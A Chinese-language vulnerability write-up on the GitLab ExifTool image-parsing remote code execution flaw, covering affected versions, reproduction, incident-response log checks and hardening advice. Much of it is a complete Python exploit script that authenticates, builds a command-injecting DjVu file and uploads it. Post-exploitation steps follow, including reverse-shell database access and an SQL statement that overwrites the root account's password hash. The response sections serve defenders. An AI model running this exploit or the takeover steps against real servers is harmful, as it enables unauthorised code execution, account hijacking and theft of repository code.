一、概述
GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。但漏洞版本中,GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行。
二、影响版本
可通过终端命令cat /opt/gitlab/embedded/service/gitlab-rails/VERSION查看版本。当前有以下版本受影响:
11.9<=Gitlab CE/EE<13.8.8
13.9<=Gitlab CE/EE<13.9.6
13.10<=Gitlab CE/EE<13.10.3
三、漏洞复现
1、利用vulhub一键化搭建漏洞环境,启动完成后进入漏洞界面


2、常规攻击场景
(1)下载挖矿病毒或者勒索病毒场景?
在这种场景下,挖矿或者勒索家族会批量扫描公网上存在漏洞的gitlab,基本操作是利用漏洞后执行下载恶意木马文件后执行木马,或者权限足够的情况下,写入计划任务、公钥,实现定期下载病毒样本或登录后下载恶意样本(偏向自动化)。
import requests
from bs4 import BeautifulSoup
import random
import os
import argparse
parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-u', help='Username', required=True)
parser.add_argument('-p', help='Password', required=True)
parser.add_argument('-c', help='Command', required=True)
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)
args = parser.parse_args()
username = args.u
password = args.p
gitlab_url = args.t
command = args.c
session = requests.Session()
# Authenticating
print("[1] Authenticating")
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
login_form = {
"authenticity_token": token,
"user[login]": username,
"user[password]": password,
"user[remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)
if r.status_code != 200:
exit(f"Login Failed:{r.text}")
else:
print("Successfully Authenticated")
# payload creation
print("[2] Creating Payload ")
payload = f"" . qx{{{command}}} . \\\n"
f1 = open("/tmp/exploit","w")
f1.write('(metadata\n')
f1.write(' (Copyright "\\\n')
f1.write(payload)
f1.write('" b ") )')
f1.close()
# Checking if djvumake is installed
check = os.popen('which djvumake').read()
if (check == ""):
exit("djvumake not installed. Install by running command : sudo apt install djvulibre-bin")
# Building the payload
os.system('djvumake /tmp/exploit.jpg INFO=0,0 BGjp=/dev/null ANTa=/tmp/exploit')
# Uploading it
print("[3] Creating Snippet and Uploading")
# Getting the CSRF token
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
csrf = soup.findAll('meta')[16].get("content")
cookies = {'_gitlab_session': session.cookies['_gitlab_session']}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
'Accept': 'application/json',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': f'{gitlab_url}/projects',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Token': f'{csrf}'
}
files = {'file': ('exploit.jpg', open('/tmp/exploit.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})}
r = session.post(gitlab_url+'/uploads/user', files=files, cookies=cookies, headers=headers, verify=False)
if r.text != "Failed to process image\n":
exit("[-] Exploit failed")
else:
print("[+] RCE Triggered !!")
2、因为权限不足,反弹获取到shell后不具有文件夹写权限,获取gitlab仓库代码?
参考:https://www.anquanke.com/post/id/259862
在此场景下,因为权限不够,git用户不具有写权限,此时,如果符合如下条件话,可以尝试获取gitlab代码库。
1、具有操作数据库权限,gitlab自带访问数据库命令:gitlat-rails dbconsole
2、git用户具有ssh登录权限,在ssh可连情况下,可以尝试写入公钥进行登录。
关于获取数据库权限,这里有两种方式:
1、反弹shell后直接连接
2、git用户可ssh远程登录,写入公钥远程登录
输入命令 gitlat-rails dbconsole

查看有哪些表


发现users表,格式化输出root用户的信息,ps: root的id为1

根据密码特征,可以发现是bcrypt加密,这种加密针对同一种明文每次加密后的密文不一样。也就是说不可逆,但运气好的话,可在cmd5中解开,但又因为gitlab默认的密码策略是8个字符。
最稳妥的办法就是修改root用户的密码密文值。关于bcrypt加密算法参考:https://blog.csdn.net/fengyingkong/article/details/87377061
12345678的密文值为$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa
执行如下sql命令:
update users set encrypted_password=’$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa’ where e id =1;

四、应急响应排查
1、日志侧分析
gitlab日志位置大致如下:
/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log
排查关键字:
1、因为是受ExifTool影响的,期间也会进行上传,所以可以搜索关键字exiftool以及/uploads/user作为排查途径
2、有的会通过注册账号之后提权,所以会访问/users/sign_up接口,这也可以作为关键字

GitLab 由许多组件(Redis、Nginx 等)组成。处理上传的称为gitlab-workhorse,它依次调用 ExifTool,然后将最终附件传递给 Rails,故可在workhorse的日志中排查。

五、加固建议
1、升级到gitlab的安全版本
2、不建议将gitlab开放到公网上(如一定要,最好白名单访问)
2、因为漏洞是受ExifTool影响的,升级ExifTool理论上是能够缓解漏洞的(不建议)